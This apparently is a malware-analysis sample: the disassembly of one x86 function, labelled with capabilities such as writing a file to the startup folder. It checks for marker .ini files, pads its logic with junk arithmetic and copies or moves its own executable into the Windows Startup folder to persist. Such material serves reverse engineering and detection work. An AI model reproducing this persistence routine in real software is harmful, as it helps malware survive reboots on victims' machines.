Function at 0x40ed70
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x310
mov eax, dword [0x460640]
xor eax, esp
push ebx
mov ebx, dword [0x45eccc]
mov dword [esp + 0x310], eax
mov eax, dword [0x45ece4]
push ebp
push esi
cdq
push edi
mov esi, eax
push 0xfffffffffffffffe
mov edi, edx
mov eax, ebx
cdq
push 0xad6a0873
push edx
push eax
call fcn.004319f0
mov ebp, eax
mov eax, dword [0x45ecd0]
add eax, ebx
imul eax, eax, 0x79faf08a
push 1
push 0xeae0c6d3
push edi
push esi
sub ebp, eax
call fcn.004319f0
push 2
push 0xb57eb16
push edi
push esi
add ebp, eax
call fcn.004319f0
mov ecx, dword [0x45ece0]
mov edx, dword [0x45ecdc]
imul ecx, ecx, 0x2c857103
mov ebx, dword [str._r_____r____]
imul edx, edx, 0x6181b446
add ebp, eax
mov eax, dword [0x45ecd8]
sub ebp, ecx
add ebp, edx
cdq
mov dword [0x45ecdc], ebp
mov ebp, eax
push 1
mov dword [esp + 0x1c], edx
mov eax, ebx
cdq
push 0xb09bfdc4
push edx
push eax
mov dword [esp + 0x24], ebp
call fcn.004319f0
mov ecx, dword [0x45ecc8]
mov edx, dword [0x45ecd4]
add edx, ecx
mov ecx, dword [esp + 0x18]
imul edx, edx, 0x242d3a05
push 1
push 0xeae0c6d3
push ecx
sub eax, edx
push ebp
mov dword [esp + 0x20], eax
call fcn.004319f0
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
push 1
push 0x86050f76
sub ecx, eax
push edx
mov eax, ebp
push eax
mov dword [esp + 0x20], ecx
call fcn.004319f0
mov ecx, dword [esp + 0x10]
sub ecx, eax
push 2
push 0xb57eb16
push edi
push esi
mov dword [esp + 0x20], ecx
call fcn.004319f0
imul ebx, ebx, 0x151f392d
mov ecx, dword [esp + 0x10]
sub ecx, eax
sub ecx, ebx
push 0
push str.C:_WINDoWS_system32driverseTc_seRvicE1.ini
mov dword [0x45ece4], ecx
call fcn.00431e3d
add esp, 8
cmp eax, 0xffffffff
je 0x40f37c
push 0
push str.C:_WINDoWS_system32driverseTc_sErvIce2.ini
call fcn.00431e3d
add esp, 8
cmp eax, 0xffffffff
je 0x40f37c
mov esi, dword [0x45ecd0]
push 1
mov eax, esi
cdq
push 0xebf310a9
push edx
push eax
call fcn.004319f0
mov edi, eax
mov eax, dword [0x45ece4]
push 1
cdq
push 0x5295f78d
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ece0]
sub edi, eax
imul ecx, ecx, 0x7f4ea4e2
mov eax, 0x4d7937c3
mul esi
shr edx, 0x1e
add edi, edx
mov edx, dword [0x45ecc8]
imul edx, edx, 0x6181b446
sub edi, ecx
add edi, edx
mov eax, 0x2a01e433
imul esi
sar edx, 0x1c
mov eax, edx
push 0x104
lea ecx, [esp + 0x220]
shr eax, 0x1f
add edi, edx
push ecx
add eax, edi
push 0
mov dword [0x45ecc8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x21c]
push 0x5c
push edx
call fcn.004328a0
mov esi, eax
push str..exe
lea eax, [esp + 0x228]
push eax
lea ecx, [esp + 0x2c]
push str._s_s
push ecx
inc esi
call fcn.00431a9a
mov eax, dword [0x45ecdc]
add esp, 0x18
push 2
cdq
push 0xb57eb16
push edx
push eax
call fcn.004319f0
mov edi, eax
mov eax, dword [0x45ecd0]
push 0xfffffffffffffffe
cdq
push 0x4f64023c
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd8]
mov edx, dword [0x45ece8]
mov ebx, eax
imul edx, edx, 0x6b66a94
mov eax, ecx
imul eax, eax, 0xb57eb16
sub ebx, edi
add ebx, edx
add ebx, eax
mov eax, 0x2a01e433
imul ecx
sar edx, 0x1c
mov ebp, dword [0x45ece4]
mov ecx, edx
add ebx, edx
mov edx, dword [0x45ecc8]
imul edx, edx, 0x5295f78d
shr ecx, 0x1f
add ecx, ebx
push 0
add ecx, edx
push 0x18
lea eax, [esp + 0x124]
sub ecx, ebp
push eax
sub ecx, 0x6181b446
push 0
mov dword [0x45ecd0], ecx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x11c]
lea ecx, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40f020
sub eax, ecx
push esi
lea ecx, [esp + eax + 0x120]
push 0x44f20c
push ecx
call fcn.00431a9a
mov ebx, dword [0x45ece8]
mov edi, dword [0x45ecd4]
mov eax, ebx
cdq
add esp, 0xc
mov ebp, eax
push 1
mov esi, edx
mov eax, edi
cdq
push 0xeae0c6d3
push edx
push eax
mov dword [esp + 0x28], esi
call fcn.004319f0
push 0xfffffffffffffffe
push 0x140cef57
push esi
push ebp
mov dword [esp + 0x20], eax
call fcn.004319f0
mov edx, dword [esp + 0x18]
push 2
push 0x6b66a94
mov esi, eax
mov eax, dword [esp + 0x18]
push edx
push ebp
sub esi, eax
call fcn.004319f0
mov ecx, dword [0x45ece0]
add esi, eax
mov eax, 0x2a215c6f
mul ecx
mov eax, ecx
imul ecx, ecx, 0x242d3a05
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
add esi, eax
mov eax, dword [0x45ecc8]
mov edx, ebx
imul eax, eax, 0x151f392d
imul edx, edx, 0x6181b446
sub esi, edx
sub esi, eax
sub esi, ecx
mov dword [0x45ecd8], esi
mov dword [esp + 0x10], 0
jmp 0x40f0f0
mov esi, dword [0x45ecd8]
mov edi, dword [0x45ecd4]
mov ebx, dword [0x45ece8]
mov eax, dword [0x45eccc]
mov ecx, dword [0x45ecd0]
push 0xfffffffffffffffe
cdq
push 0x4f64023c
push edx
lea ebp, [ebx + ecx]
push eax
imul ebp, ebp, 0x4f64023c
call fcn.004319f0
sub eax, ebp
mov ebp, eax
push 1
mov eax, ebx
cdq
push 0x86050f76
push edx
push eax
call fcn.004319f0
imul edi, edi, 0x6b66a94
imul esi, esi, 0x2c857103
mov edx, dword [0x45ecdc]
imul edx, edx, 0x6181b446
add ebp, eax
sub ebp, edi
sub ebp, esi
lea eax, [esp + 0x1c]
sub ebp, edx
push 0
push eax
mov dword [0x45ece0], ebp
call fcn.00431e3d
add esp, 8
cmp eax, 0xffffffff
je 0x40f17f
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x64
mov dword [esp + 0x10], eax
jl 0x40f0de
mov edi, dword [0x45ecc8]
push 1
mov eax, edi
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
mov edx, dword [0x45ecd8]
add edx, ecx
imul ecx, ecx, 0x151f392d
imul edx, edx, 0x140cef57
mov esi, eax
sub esi, edx
mov eax, 0x4d7937c3
mul dword [str._r_____r____]
shr edx, 0x1e
sub esi, edx
mov eax, 0x2a215c6f
mul edi
sub edi, edx
shr edi, 1
add edi, edx
shr edi, 0x1f
add esi, edi
mov edi, dword [0x45ece4]
mov eax, edi
imul eax, eax, 0x6181b446
sub esi, eax
mov eax, dword [esp + 0x324]
add esi, ecx
test eax, eax
mov dword [0x45ece8], esi
je 0x40f202
cmp eax, 2
jne 0x40f2d8
push 4
lea ecx, [esp + 0x120]
push ecx
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x40f2cc
mov eax, dword [0x45ecd4]
mov esi, dword [0x45eccc]
cdq
mov edi, eax
push 1
mov ebx, edx
mov eax, esi
cdq
push 0x86050f76
push edx
push eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], edx
call fcn.004319f0
push 0xfffffffffffffffd
push 0xf4a814ea
push ebx
push edi
mov ebp, eax
call fcn.004319f0
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push 2
push 0xb57eb16
push ecx
sub eax, ebp
push edx
mov ebp, eax
call fcn.004319f0
push 1
push 0xeae0c6d3
push ebx
push edi
add ebp, eax
call fcn.004319f0
imul esi, esi, 0x140cef57
mov ecx, dword [0x45ecdc]
add ebp, eax
imul ecx, ecx, 0x5295f78d
mov eax, dword [0x45ece8]
imul eax, eax, 0x6b66a94
sub ebp, esi
push 6
add ebp, eax
lea edx, [esp + 0x120]
push edx
lea eax, [esp + 0x24]
add ebp, ecx
push eax
mov dword [str._r_____r____], ebp
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov eax, 0xfffffffe
jmp 0x40f37f
mov edi, dword [0x45ece4]
mov esi, dword [0x45ece8]
mov eax, dword [0x45ecd4]
push 1
cdq
push 0x5295f78d
mov ebx, eax
push edx
push ebx
mov dword [esp + 0x28], edx
call fcn.004319f0
mov ecx, dword [0x45eccc]
mov ebp, eax
mov eax, 0x2a215c6f
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0x1f
push 1
add ebp, ecx
mov ecx, dword [esp + 0x1c]
push 0xeae0c6d3
push ecx
push ebx
call fcn.004319f0
imul esi, esi, 0x6b66a94
imul edi, edi, 0x6181b446
mov edx, dword [0x45ece0]
imul edx, edx, 0x140cef57
add ebp, eax
mov eax, dword [esp + 0x324]
sub ebp, edx
sub ebp, esi
mov esi, dword [str._r_____r____]
add ebp, edi
sub ebp, esi
sub ebp, 0x4f64023c
cmp eax, 1
mov dword [0x45eccc], ebp
je 0x40f363
cmp eax, 2
jne 0x40f378
push 0
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x224]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40f37f
or eax, 0xffffffff
mov ecx, dword [esp + 0x31c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043180d
add esp, 0x310
ret